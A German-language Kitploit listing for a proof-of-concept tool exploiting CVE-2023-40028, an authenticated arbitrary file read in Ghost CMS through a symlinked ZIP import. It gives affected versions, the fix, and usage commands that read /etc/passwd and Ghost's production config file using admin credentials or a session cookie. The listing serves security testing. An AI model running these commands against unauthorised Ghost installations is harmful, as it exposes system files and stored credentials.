Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-40028 — POC für CVE-2023-40028: Ghost CMS Beliebiger Dateizugriff (Arbitrary File Read) | Kitploit
Tools/GitHubGitHub/godylockz/cve-2023-40028
SchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationInformationsbeschaffungPenetrationstests
GitHubgodylockz/cve-2023-40028

CVE-2023-40028

POC für CVE-2023-40028: Ghost CMS Beliebiger Dateizugriff (Arbitrary File Read)

Repository anzeigen
221vor 29 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-40028: Ghost beliebiges Dateilesen

Proof of Concept für CVE-2023-40028, eine authentifizierte Schwachstelle zum beliebigen Lesen von Dateien in der Content-Import-Funktion von Ghost. Ein manipuliertes ZIP-Archiv erstellt einen Symlink unter content/images, wodurch das Skript eine Datei vom Ghost-Host anfordern kann.

Ghost-Versionen vor 5.59.1 sind betroffen. Aktualisiere auf 5.59.1 oder höher.

Verwende dies nur gegen Systeme, die dir gehören oder für die du eine Testautorisierung hast.

Voraussetzungen

  • Python 3
  • requests
  • Ghost-Administrator-Anmeldedaten oder ein gültiges ghost-admin-api-session-Cookie
python3 -m venv .venv
source .venv/bin/activate
python -m pip install requests

Verwendung

Eine Datei mit Benutzername und Passwort lesen:

python3 ghost_fileread.py \
  --url https://ghost.example \
  --username [email protected] \
  --password 'password' \
  --file /etc/passwd

Ein vorhandenes Admin-Session-Cookie verwenden:

python3 ghost_fileread.py \
  --url https://ghost.example \
  --cookie 'session-cookie-value' \
  --file /var/lib/ghost/config.production.json

Lasse --file weg, um die interaktive Eingabeaufforderung file> zu öffnen. Führe python3 ghost_fileread.py --help aus, um Optionen für Proxy, Timeout und User-Agent zu sehen.

Der Endpunkt gibt Text zurück, daher ist dieses Tool für Textdateien gedacht. Das Importieren des manipulierten Archivs hinterlässt einen Symlink im Verzeichnis content/images des Ziels.

Referenzen

  • GitHub advisory: CVE-2023-40028
  • Ghost fix
Tool herunterladen